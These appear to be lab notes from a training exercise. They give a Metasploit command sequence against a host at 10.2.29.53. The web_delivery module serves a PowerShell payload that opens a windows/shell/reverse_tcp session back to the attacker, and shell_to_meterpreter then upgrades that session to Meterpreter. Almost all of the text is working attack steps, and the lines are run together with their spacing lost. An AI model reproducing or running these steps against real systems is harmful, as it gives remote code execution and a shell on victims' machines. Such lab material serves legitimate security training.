setgRHOSTS10.2.29.53setgRHOST10.2.29.53searchweb_deliveryuseexploit/multi/script/web_deliveryinfo# Description:# This module quickly fires up a web server that serves a payload. The # provided command which will allow for a payload to download and # execute.settargetPSH\ (Binary)setpayloadwindows/shell/reverse_tcpsetPSH-EncodedCommandfalsesetLHOSTeth1exploit
Copy the PowerShell code and run it on the target machine using cmd
Back to the Attacker machine, Command shell session opened
sessions1whoami# Unprivileged user "student"
# Upgrade to a Meterpreter sessionbackgroundsearchshell_tousepost/multi/manage/shell_to_meterpretersetLHOSTeth1setSESSION1showadvancedsetWIN_TRANSFERVBSoptions# check the LPORT is not in conflict with the Session 1runsessions2